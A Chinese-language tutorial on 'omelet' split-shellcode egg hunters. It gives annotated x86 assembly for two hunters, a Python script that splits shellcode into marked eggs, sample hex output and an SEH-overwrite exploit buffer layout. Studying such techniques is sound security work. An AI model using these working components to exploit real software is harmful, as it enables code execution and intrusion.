Shellcode分段执行技术原理

前言

由于在实际溢出利用中，我们可能会遇到内存中没有足够的空间来存放我们的shellcode，但我们又可以控制多块小内存空间的内容，那些此时我们就可使用shellcode分段执行技术来进行利用，这种方法在国外被称为“Omelet Shellcode”，属于egg hunt shellcode的一种形式，它先在用户地址空间中寻找与其相匹配的各个小内存块（egg），然后再将其重构成一块大块的shellcode，最后执行它。此项技术最初是由荷兰著名黑客SkyLined在其主页上公布的（具体代码参见附件），该黑客先前就职于Microsoft，但于2008年初转入Google，同时他也是著名的字母数字型shellcode编码器Alpha2/Alpha3的开发者。

原理分析

将Shellcode拆分成固定大小的多个代码块，各个代码块中包含有其字节大小size，索引值index，标记marker（3 字节）和数据内容data，如图1所示：



图1

当egghunter代码开始执行时，它会在用户内存空间中（0x00000000~0x80000000）搜索这些被标记的小块，然后在内存中重构成最初的shellcode并执行它。而当shellcode执行时，它还会安装SEH以处理访问违例时的情况。若出现访问违例，则SEH handler会将地址与0xFFF进行或运算，然后再加1，相当于进入下一内存页，以跳过不可读取的内存页。如果搜索的内存地址大于0x7FFFFFFF，那么终止搜索，并在内存中重构shellcode用于执行，否则重置栈空间，防止因递归进行异常处理而将栈空间耗尽，它会重新设置SEH handler并继续搜索内存。相应代码如下：

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reset_stack:
; 重置栈空间以防止递归进行异常处理时耗尽栈空间，并设置自己的异常处理例程以处理扫描内存时出现的访问违例情况
    XOR     EAX, EAX                    ; EAX = 0，并作为计数器
    MOV     ECX, [FS:EAX]               ; ECX = SEH结构链表
find_last_SEH_loop:
    MOV     ESP, ECX                    ; ESP = SEH结构
    POP     ECX                         ; ECX = 下一个SEH结构指针
    CMP     ECX, 0xFFFFFFFF             ; 判断是否是最后一个SEH结构
    JNE     find_last_SEH_loop          ; 不是则跳走并继续查找
    POP     EDX                         ; 最后一个SEH结构中的异常处理例程handler
    CALL    create_SEH_handler          ; 自定义SEH handler

SEH_handler:
    POPA                                ; ESI = [ESP + 4] -> struct exception_info
    LEA     ESP, [BYTE ESI+0x18]        ; ESP = struct exception_info->exception_address
    POP     EAX                         ; EAX = exception address 0x????????
    OR      AX, 0xFFF                   ; EAX = 0x?????FFF
    INC     EAX                         ; EAX = 0x?????FFF + 1 -> next page
    JS      done                        ; EAX > 0x7FFFFFFF ===> done
    XCHG    EAX, EDI                    ; EDI => next page
    JMP     reset_stack

当从地址0x00000000开始搜索后，若找到以相匹配的egg_size开头的egg内存块，它会将接下的DWORD值与一个特殊值（3字节的标记值和1字节的0xFF）相异或，如果是我们要找的egg内存块，那么获取的结果会等于内存块的索引号（从0开始），比如第二块egg内存块的这个DWORD值为0xBADA55FE，那么它与0xBADA55FF相异或后值为1。如果不是相匹配的egg内存块，则继续搜索下一字节。对应的代码如下所示：

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create_SEH_handler:
    PUSH    ECX                         ; 指向下一个SEH结构，这里为0xFFFFFFFF
    MOV     [FS:EAX], ESP               ; 设置当前的SEH为自定义的SEH_handler
    CLD                                 ; 清除方向标志位DF，从0开始扫描内存
scan_loop:
    MOV     AL, egg_size                ; EAX = egg_size
egg_size_location equ $-1 - $$
    REPNE   SCASB                       ; 从地址0x00000000开始循环扫描以egg_size字节开头的内存块
    PUSH    EAX                         ; 找到后保存egg_size
    MOV     ESI, EDI                    ; ESI = 相匹配内存块的地址
    LODSD                               ; EAX = II M2 M3 M4，索引值（1字节）与标记值（3字节）
    XOR     EAX, (marker << 8) + 0xFF   ; EAX = (II M2 M3 M4) ^ (FF M2 M3 M4) == egg_index
marker_bytes_location equ $-3 - $$
    CMP     EAX, BYTE max_index         ; 检测EAX值是否小于 max_index
max_index_location equ $-1 - $$
    JA      reset_stack                 ; 不是则跳走并继续搜索内存

找到egg内存块后，将内存块大小egg_size与索引值egg_index相乘可得到该内存块在原始shellcode中的偏移egg_offset，然后将它再加上存放shellcode的栈空间起始地址，最后得到绝对地址，并将该egg内存块复制到绝对地址上，直至所有的egg内存块全部复制到栈上，进而在栈上重构出完整的shellcode。其对应代码如下：

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 POP     ECX                         ; ECX = egg_size
    IMUL    ECX                         ; EAX = egg_size * egg_index == egg_offset
                                        ; 这里是有带符号相乘，由于ECX * EAX总小于0x1000000，所以EDX=0
    ADD     EAX, [BYTE FS:EDX + 8]      ; EDI += Bottom of stack == position of egg in shellcode.
    XCHG    EAX, EDI
copy_loop:
    REP     MOVSB                       ; 将匹配的内存块复制到栈空间以重构成完整的shellcode
    MOV     EDI, ESI                    ; EDI指向当前匹配内存块的末尾，在拷贝完第一块内存块后继续搜索第二块，
                                        ; 以此类推，直至所有的内存块全部搜索到并复制到栈上

最后就是跳到栈底去执行重构后的shellcode：

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done:
    XOR     EAX, EAX                    ; EAX = 0
    CALL    [BYTE FS:EAX + 8]           ; 从栈中shellcode的起始地址开始执行

这样就完成了对各段egg内存块的搜索，并重构出完整shellcode来执行。
注意：由于此份代码只搜索0x00000000~0x80000000之间的用户内存空间，因此对于开启/3Gb（0x00000000~0xC000000）开关的系统并不适用，若应用在这样的系统上就可能会导致部分egg内存块未搜索到，以致无法正确地执行shellcode。
在2010年8月，由Exploit编写系列教程的作者Peter Van Eeckhoutte编写的egg-to-omelet hunter程序在其博客上公布了（详细源码参见附件），此份程序对原先由SkyLined编写的omelet hunter进行了改进，提高其成功率和稳定性。此份程序先从当前栈桢的末尾 (0x….ffff) 开始搜索，为了避免出现NULL字节，又让egg内存块数量nr_egg加1，因此我们还可以让它与1相比较，然后去搜索保存在eax中的内存块标记tag，此标记类似这样：

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773030<seq>
这里seq = 1 + number_of_remaining_eggs_to_find + 1，比如你有3个egg内存块，那么各块egg对应的tag分别为 ：
Egg 1 : 77 30 30 05
Egg 2 : 77 30 30 04
Egg 3 : 77 30 30 03

在搜索过程中，它通过调用NtAccessCheckAndAuditAlarm来判断是否出现访问违例，出错则重新搜索，否则就继续寻找各内存块标记tag，找到后通过rep movsb指令将其复制到edi指向的地址中，进而重组原始shellcode并进行执行。具体源码分析如下：

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BITS 32 

nr_eggs equ 0x2             ; egg内存块的数量
egg_size equ 0x7b           ; 每一egg内存块占127字节 

jmp short start 

get_target_loc:
                            
push esp
pop edi                        ; 将栈顶指针esp保存在edi中
                            
or di,0xffff                ; edi=0x....ffff，即当前栈桢的末尾
mov edx,edi                 ; edx=搜索的起始地址
xor eax,eax                 ; eax清零
mov al,nr_eggs              ; eax = 内存块数量
calc_target_loc:
xor esi,esi                 ; esi=0，作为计数器
mov si,0-(egg_size+20)      ; 为每一块egg内存块添加20字节的额外空间

get_target_loc_loop:        
dec edi                     ; 往回遍历搜索当前栈桢
inc esi                     ; 递增计数器
cmp si,-1                   ; 继续往回遍历直到ESI = -1
jnz get_target_loc_loop
dec eax                     ; 若未找到所有的内存块则跳走并继续循环，
jnz calc_target_loc            ; 否则edi就指向了重组shellcode将保存的地址
xor ebx,ebx                 ; ebx清零，作为计数器
mov bl,nr_eggs+1            ; ebx = nr_eggs + 1，但为了避免出现NULL字节，
                            ; 因此这里从1开始计数
ret 

start:
call get_target_loc         ; 计算出重组shellcode将保存的栈地址 

jmp short search_next_address
find_egg:
dec edx                     ; 由于下面搜索是以DWORD（4字节）为单位进行字节扫描的
dec edx                        ; 因此这里需要edx-4
dec edx
dec edx
search_next_address:
inc edx                     ; 搜索下一字节
push edx                    ; 保存edx
push byte +0x02
pop eax                     ; eax = 0x02，功能号，系统调用表可参考下列网址:
                            ; http://www.metasploit.com/users/opcode/syscalls.html
int 0x2e                    ; 调用NtAccessCheckAndAuditAlarm
cmp al,0x5                  ; 判断是否访问违例（0xc0000005== ACCESS_VIOLATION)
pop edx                     ; 重储edx
je search_next_address      ; 如果地址不可读则跳走
mov eax,0x77303001          ; 若可读则将索引值与标记值赋予eax
add eax,ebx                 ; eax += ebx,这里ebx为egg内存块的计数器，
                            ; 此时eax得到的就是各个内存块开头的标记marker，
                            ; tag=773030<seq>,其中seq = 0x1 +  number_of_remaining_eggs_to_find + 0x1,
                            ; 比如0x77303003，0x77303004……
                            
xchg edi,edx                ; 交换edi与edx的值
scasd                       ; 搜索edi中是否存在eax中的标记
xchg edi,edx                ; 将edi/edx的值再交换回来
jnz find_egg                ; 若未找到相匹配的标记则跳走，否则edx指向找到的egg内存块

copy_egg:
mov esi,edx                 ; ESI = EDX，保存egg内存块地址到esi留作后用 
xor ecx,ecx                    ; ecx = 0
mov cl,egg_size             ; 复制的字节数，相当于每一egg内存块大小
rep movsb                   ; 从esi复制到edi
dec ebx                     ; 递增ebx,ebx为内存块计数器
cmp bl,1                    ; 判断是否找到所有的egg内存块
jnz find_egg                ; 没有则继续搜索

done:
call get_target_loc         ; 重新定位重组后shellcode所在的地址
jmp edi                     ; 执行shellcode

以上分析的两份程序均是对各egg内存块进行搜索的egg-to-omelet hunter程序，SkyLined还提供了另一份代码用于将shellcode进行分段，构造出各段egg内存块数据，其文件名为w32_SEH_omelet.py，是用Python编写的。它主要是遵循SkyLined在w32_SEH_omelet.asm代码中所提到的算法进行计算，以获取各块egg中的字节大小size，索引值index，标记值marker（默认为0x280876），以及各egg中的部分shellcode代码，每块egg的大小是固定的（默认为127字节），不足的用‘@’（0x40）填充。其核心代码如下：

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def Main(my_name, bin_file, shellcode_file, output_file, egg_size = '0x7F', marker_bytes = '0x280876'):
  if (marker_bytes.startswith('0x')):        # 判断标记marker_bytes是否以0x开头
    marker_bytes = int(marker_bytes[2:], 16)    # 以16为基数（十六进制）进行整数转换
  else:
    marker_bytes = int(marker_bytes)    # 以10为基数（十进制）进行整数转换
  if (egg_size.startswith('0x')):
    egg_size = int(egg_size[2:], 16)
  else:
    egg_size = int(egg_size)
  assert marker_bytes <= 0xFFFFFF, 'Marker must fit into 3 bytes.'
  assert egg_size >= 6, 'Eggs cannot be less than 6 bytes.'
  assert egg_size <= 0x7F, 'Eggs cannot be more than 0x7F (127) bytes.'
    
  bin = open(bin_file).read()            # 读取bin_file文件,即负责搜索egg的bin文件
  marker_bytes_location = ord(bin[-3])    # 标记值marker
  max_index_location = ord(bin[-2])        # 索引值index
  egg_size_location = ord(bin[-1])        # 各egg内存块所占的字节数
  code = bin[:-3]                        # 用于存放分段后的部分shellcode代码

  shellcode = open(shellcode_file).read()
  
  max_index = int(math.ceil(len(shellcode) / (egg_size - 5.0)))        # 计算出每块egg的最大索引值，并要求其必须<=0xFF
  assert max_index <= 0xFF, ('The shellcode would require %X (%d) eggs of  %X '
      '(%d) bytes, but 0xFF (255) is the maximum number of eggs.') % (
      max_index, max_index, egg_size, egg_size)
  
  marker_bytes_string = ''
  for i in range(0,3):
    marker_bytes_string += chr(marker_bytes & 0xFF)        # 将标记值与0xFF进行与运算
    marker_bytes >>= 8        # 右移8位，相当于将标记值转换成0x280876ff

  max_index_string = chr(max_index)
  egg_size_string = chr(egg_size - 5)    # 扣去字节大小（1字节），索引值（1字节）和标记（3字节）所占用的5字节
  # insert variables into code
  code = code[:marker_bytes_location] + marker_bytes_string + code[marker_bytes_location+3:]
  code = code[:max_index_location] + max_index_string + code[max_index_location+1:]
  code = code[:egg_size_location] + egg_size_string + code[egg_size_location+1:]
  output = [
    '// This is the binary code that needs to be executed to find the eggs, ',
    '// recombine the orignal shellcode and execute it. It is %d bytes:' % (
      len(code),),
    'omelet_code = "%s";' % HexEncode(code),
    '',
    '// These are the eggs that need to be injected into the target process ',
    '// for the omelet shellcode to be able to recreate the original shellcode',
    '// (you can insert them as many times as you want, as long as each one is',
    '// inserted at least once). They are %d bytes each:' % (egg_size,) ]
  egg_index = 0 
  while shellcode:
    egg = egg_size_string + chr(egg_index ^ 0xFF) + marker_bytes_string
    egg += shellcode[:egg_size - 5]        # 构造出完整的egg内存块：size + index + marker + shellcode 
    if len(egg) < egg_size:
      # tail end of shellcode is smaller than an egg: add pagging:
      egg += '@' * (egg_size - len(egg))    # 每块egg的大小是固定的（默认为127字节），不足的用'@'（0x40）填充
    output.append('egg%d = "%s";' % (egg_index, HexEncode(egg)))
    shellcode = shellcode[egg_size - 5:]
    egg_index += 1
  open(output_file, 'w').write('\n'.join(output))    # 写入输出文件output_file

使用方法

关于使用方法，其实很简单，使用命令如下：
C:\Users\riusksk> w32_SEH_omelet.py w32_SEH_omelet.bin shellcode.bin output.txt 127 0xBADA55
它需要先生成两个bin文件，一个是shellcode.bin，还有一个用于egg搜索的w32_SEH_omelet.bin，这里用Peter Van Eeckhoutte编写的egg-to-omelet hunter程序来生成bin文件以代替w32_SEH_omelet.bin也是可以的。关于shellcode.bin，你可以先用metasploit先生成shellcode，然后用perl/python将shellcode写入一个bin文件即可；而w32_SEH_omelet.bin可直接用nasm去编译SkyLined的w32_SEH_omelet.asm或者Peter Van Eeckhoutte写的corelanc0d3r_omelet.asm从而得到此bin文件。Output.txt是输出文件，用来保存生成各个egg以及omelet代码，后面的127是每一块egg内存块的字节数，而0xBADA55是标记值，你也可采用其它3字节数据，比如w00(0x773030)，最后生成的输出文件内容类似如下：

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// This is the binary code that needs to be executed to find the eggs, 
 // recombine the orignal shellcode and execute it. It is 82 bytes:
 omelet_code = "\x31\xFF\xEB\x23\x51\x64\x89\x20\xFC\xB0 ... \xFF\x50\x08";
 
 // These are the eggs that need to be injected into the target process 
 // for the omelet shellcode to be able to recreate the original shellcode
 // (you can insert them as many times as you want, as long as each one is
 // inserted at least once). They are 127 bytes each:
 egg0 = "\x3B\xFF\x76\x08\x28\x33\xC9\x64\x8B\x71\x30\x8B ... \x57\x51\x57";
 egg1 = "\x3B\xFE\x76\x08\x28\x8D\x7E\xEA\xB0\x81\x3C\xD3 ... \x24\x03\xCD";
 egg2 = "\x3B\xFD\x76\x08\x28\x0F\xB7\x3C\x79\x8B\x4B\x1C ... \x47\xF1\x01";

生成文件后我们就可以在实际漏洞利用中构造出类似下面这样的exploit：

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【junk】【nseh(jmp 06)】【seh(pop pop ret)】【nops】【omelet_code】【junk】【egg0】【junk】【egg1】【junk】【egg2】

不过具体的实际漏洞利用还得受一些操作环境影响，得视具体情况进行变化，同时还需要一点运气！

结语

本文就Omelet Shellcode进行简单地分析，阐述了shellcode分段执行技术的基本原理，并对其使用进行简单的讲解，以帮助大家更好地理解并应用好Omelet Shellcode。在本文是笔者只是起到了一个抛砖引玉的作用，关于shellcode的编写还有很多技术性，同时也需要一定的艺术性，这些都需要靠大家共同来打造和分享，如果你有更多关于这方面的资料和技术，希望可以跟我分享’